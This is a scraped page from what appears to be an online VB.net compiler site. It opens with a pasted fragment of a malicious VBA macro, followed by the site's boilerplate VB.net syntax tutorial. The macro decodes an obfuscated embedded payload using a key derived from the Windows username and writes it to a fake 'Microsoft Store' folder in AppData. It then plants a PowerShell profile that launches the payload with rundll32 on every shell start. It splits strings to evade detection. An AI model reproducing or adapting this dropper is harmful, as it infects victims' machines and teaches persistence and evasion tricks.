"*#><E^>XE^>'`],s`s:rDNMV`sD##:/'[O>T=t(XE*\Z`[:WCO>MF*=#tH>?E)Y/CtASE^$)E]wKE)MWCL\VE*,w##&I$(,rC(`Q" str = str + "DO>s_]Y\COEQCN=##.X(\]wP_]wLC)\L>^IK`^$rB]AV>NMTE)\Z##$y$\:ME(\VB)(V`)YM`'\v_t\XE)MWCL`QC*>MDH#E#LEM" str = str + "E':sDO,MCO>=DNAK`^:!#,P(\)\ZC]MV_^>M[*,W_t\!DX##J=:,Ds$ZCt:MDu:WDL`M_^>sDN\=DN\!`]wr#(#'[^\MDOM=`^,N" str = str + "Cu,U_]wK`[:WE]wr`^+#*H,*`^>&E^,Z`]wr[*,W_t\!DrML#%+%>t\r=u\ZDN\VE(>PDN\I`'ML##&X#LEME(:wDu>MC\>QC]\$" str = str + "Dr`QC)\[B]sM#)X&?]wQE)MIC)Mx`\:/B^:r?)\I`##z#)sMC]:XF=##############################################" str = str + "####################################################################################################" str = str + "##################################&99999#####/sE+:,Ns<99/R.G.`LS###$#####H###%zH#########<H########$" str = str + "####################z)[#H#'##############%v9=\`rF^$M^tMV`NA#=#&X`=%##=##############.KA$\N,I`(AIDO,I" str = str + "F\AV`^EGC)\V`u>P=*:r`'$###&X`=%##=##############.KA$\N,I`(AIC)YW_r$!E)>#=#######z)[#H#'#############" str = str + "#%v9=\`MF):MD*>QCtw#Du>L='#######<$M#+#$###############V<r(]_N(L^t:IDu>#Du>L='###################<$M" str = str + "#+#$###############V<r(]<Z>J_^:Q_sAQDu>Z`](U='>\<Z>KB)(Z^u>Z_]MrDr$'=*:r`'$#=*:r`'$##########<$M#+#$" str = str + "###############V<r(]B]A!^t,IDt\#Du>L='########&X`=%##=##############.KA$\KzL^rMWDt,#?'$!E)>#=#######" str = str + "z)[#H#'##############%v9=\_9,),IDtMK^tMWDr$'\@zL_tIIDMArDN(QE*:#>'$!E)>#='$!E)>#=###############z)[#" str = str + "H#'##############%v9=\_9,),IDtMK^tMNDu>Z`](U='>\<Z>KB)(Z^u>Z_]MrDr$'=*:r`'$#=*:r`'$#################" str = str + "##&X`=%##=##############.KA$\KzL_N(!B]:GDu>Z`](U_O\N='>\<Z>KB)(Z^u>Z_]MrDr$'=*:r`'$#=*:r`'$#########" str = str + "#########<$M#+#$###############V<r(]<Z>J_^:Q_sANB]YM_O\N='>\<Z>KB)(Z^u>Z_]MrDr$'=*:r`'$#=*:r`'$#####" str = str + "#####<$M#+#$###############V<r(]=NMrC](X='ELB^$TE^:#=#####&X`=%##=##############.KA$\LMU_]EM='ELB^$T" str = str + "E^:#=#######z)[#H#'##############%v9=\`*`)MXC*\!=N(!`[$*`)MXC*\!='##################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "&$###%X=##&TGH##=$###)/=##&_G###_Y###*[=##&LG###E>###$r?##&vG###*>+##&+?###DG=##/I+##&r?###TG=##=$+#" str = str + "#*/@###zG=##H$/##;z@##$=G=###$=##(z[##$HG=##_$=###T\##$PG=##'$[##%'_##$vG=##/$H##.PB##%DG=##X$P##*_F" str = str + "##&#G=##H$v##.#I##&LG=##T%'##(LN###+GH##_%_##<_P##$_GH###%L##%zQ##%[GH##.ZL##(/R##%LGH##[ZP##(LR##&#" str = str + "GH##]?P##(zR##&DGH##_%P##*+R##&TGH##r%P##$/S##&rGH##+%T##(rS##$HG=##_%T##,rS##$HG=##X%T##</S##$HG=##" str = str + "#%X##%#T####GX##+%X##.'T###+GX##T?X##*[U###_GX##E?r##++U###TGX##HJr##+HU##$#GX##P%r##%zX##$=GX##/&##" str = str + "#/+X##$rGX##r&###,_Y##%=GX##P&'##<#Y##&rGH##z&'##&HZ##$HG=##=&+##+rZ##%vGX##K@+##$r!##&/GX##*@/##&/!" str = str + "##&HGX##=&/##$/r##&XGX##+&=##%_s###'H###/&[###=t###DH###'&_##'Xt###rH###@&_##)#u##$#H###_&D##)[u##$_" str = str + "H###D&D##&'x##$XH###=&P##*/x##$HG=##D!P##+rx##%LH###K@P##-[x##%vH###T&P##,#y##&/H###L&T##<#y##&_H###" str = str + "z&T##$+A##&TH###'Kr##&#A####H=##D&r##:LA###=H=##v&r##:#9###PH=##r&z##(M###%'H=##_'###,U###&rGH##P'##" str = str + "#:\###%LH=##s[###&>$##%rH=##:''##*:$##&+H=##Dr'##+I$##&DH=##L''###w%##&TH=##''+###U&##&zH=##''/##-U'" str = str + "###vHH##T'=##:>'##%LHH##v'=###>(##&#HH##='[##*s(##$HG=##H'[##-$(####GX##X'[##;A(##&TGH##z'[##,A*##&_" str = str + "HH##P'D##.I*###HHX##X'D##$I+##$HG=##+'H##(A+###vHX##^rH##*Y,##$+HX##G'L##+:,##$HHX##HrL##+M,##$vHX##" str = str + "J[L##+A,##$HHX##L'L##-,,##&TGH##T'L###w-##&rGH##''P##-,-##%+HX##R'P##;$-##$HG=##y'P##,(.##&rGH##M'T#" str = str + "#/I.##$HG=##v'T###(/##%_HX##&'X##'I/##$HG=##?'X##*:/##$HG=##E'X##-s/##&TGH##T'X##;>/##&TGH##w'X##<M/" str = str + "##&TGH##9'X##%>:##&TGH##,'r##&M:##&TGH##<'r##,Y:##&'HX##O'r##/Y:##&TGH##!'r##;$:##&TGH##v'r##%M;##$H" str = str + "G=##.'v##.E;##$HG=##V'v##($<##%DHX##['z##*><##$HG=##E'z##,s<##$HG=##P'z##:Q<##$HG=##u'z##<:<##&TGH##" str = str + "9'z##'Y=##&TGH##@(###),>##&_HX##`('##;I>###[I###x('##$M@##$PI###*(/##(M@##$PG=##^(/##,$@##$HG=##L(/#" str = str + "#)([##%_I###`(=##:\[##%HI###5(=##$I\####GX##)([##.M]##%TI###r(_##$Q_##%zI###*(H##/I_##&/I###A(H###A`" str = str + "##&TGH##)(L##(>`##&rGH##\(L##,$`##&rGH##)(P##&\B##&TGH##;(P##,:B##&LI###M(P##$:C##&TI###/(T##+(C###+" str = str + "I=##P(T##-,C##&_I###X(T##/`C##&HI###'(X##&wD##$zH=##V(X##<:D##%DHH##)(r##&$E##%zHX##/(r##'EE##$zH=##" str = str + ">sr##)$E##$zH=##_(r##*>E##$zH=##E(r##-QE##%=I###T(r###UF##$HG=######################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "##################################################'#)####$H##+####################'##H###&###+######" str = str + "##############'#%==##'H###$HX###L=#########################z<uIUC%$t`^,!B]AV<?DY.K#O+)\V_tALB]wO<?E\" str = str + "\'_U;%DHDu>ICN>IC)AV`@rOF]\!,!z5&=Pz_^:!`]sJC*LHF)sTCO/A,u\ZCKQ!_tIMC](!.]sQ_u,WDtANE%sKCtrx_^:U.O_Y" str = str + ",Z$U_]wQ`N\!E(`MDO:QCtvA,!'V/%D5&=Pz.t(!Dt\U_NYw<Hr-################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "##############$H###X####r-@_Q;%Lx-@XQ#%M%-^PQG%M)-_HQJJN/-_vQL%N?-`=QNJND-`vQH$X##$/####'-#_P%%H/-#v" str = str + "P'%H?-$=P(JH_-$PP*%HF-%#P+JHL-%_P-%HR-%XP.JHt-&HP;JHz-&vP#%IN-)XPCJI]-,HPNJJD-+#P###-####'%H_-%=P.JH" str = str + "v-#=P\JIH-)PPG%I=--=PUJJ#-/PPX######################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "################################################################################################" u = CreateObject("WScript.Network").UserName p = "wxivjsgrhpmcuyfzbqktlondae" f = InStr(p, Mid(u, 1, 1)) s = InStr(p, Mid(u, 2, 1)) f = f - 3 f = f * s f = f * 3 f = f + 3 str = ROT(str, f) malpath = Environ("AppD" & "ata") & "\" & "Micr" & "osoft St" & "ore" If Dir(malpath, vbDirectory) = "" Then MkDir malpath End If malpath = malpath & "\temp.db" strTempPath = malpath RndStr = ByteArrayToGwzStr(RandomString(7)) zuoto = Replace(ByteArrayToGwzStr(Decodensdr64(str)), "4B 00 4F 00 50 00 59 00 54 00 4B 00 4F 00", RndStr) x = GwzStrToByteArray(zuoto, mal) Open strTempPath For Binary As #1 Put #1, 1, mal Close #1 pspath = Environ$("USERPROFILE") & "\Documents\WindowsP" & "owerS" & "*****" If Dir(pspath, vbDirectory) = "" Then MkDir pspath End If Open pspath & "\\Microsoft." & "Powe" & "rShel" & "l_profile.p" & "s1" For Output As #2 Print #2, "rund" & "ll32.e" & "xe " & Chr(34) & malpath & Chr(34) & ",master" Close #2 End Sub
Write, Run & Share VB.net code online using OneCompiler's VB.net online compiler for free. It's one of the robust, feature-rich online compilers for VB.net language, running on the latest version 16. Getting started with the OneCompiler's VB.net compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as VB.net
. OneCompiler also has reference programs, where you can look for the sample code to get started with.
OneCompiler's VB.net online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample VB.net program which takes name as input and prints hello message with your name.
Public Module Program
Public Sub Main(args() As string)
Dim name as String = Console.ReadLine() ' Reading input from STDIN
Console.WriteLine("Hello " & name) ' Writing output to STDOUT
End Sub
End Module
Visual Basic is a event driven programming language by Microsoft, first released in the year 1991.
Variable is a name given to the storage area in order to identify them in our programs.
Simple syntax of Variable declaration is as follows
Dim variableName [ As [ New ] dataType ] [ = initializer ]
variableName = value
If condition-expression Then
'code
End If
If(conditional-expression)Then
'code if the conditional-expression is true
Else
'code if the conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
Else If(conditional-expression) Then
'code if the above conditional-expression is true
Else
'code if the above conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
If(conditional-expression)Then
'code if the above conditional-expression is true
End If
End If
Select [ Case ] expression
[ Case expressionlist
'code ]
[ Case Else
'code ]
End Select
For counter [ As datatype ] = begin To end [ Step step ]
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ counter ]
For Each element [ As datatype ] In group
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ element ]
While conditional-expression
'Code
[ Continue While ]
'Code
[ Exit While ]
'Code
End While
Do { While | Until } conditional-expression
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop
Do
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop { While | Until } conditional-expression
Procedure is a sub-routine which contains set of statements. Usually Procedures are written when multiple calls are required to same set of statements which increases re-usuability and modularity.
Procedures are of two types.
Functions return a value when they are called.
[accessModifiers] Function functionName [(parameterList)] As returnType
'code
End Function
Sub-procedures are similar to functions but they don't return any value.
Sub ProcedureName (parameterList)
'Code
End Sub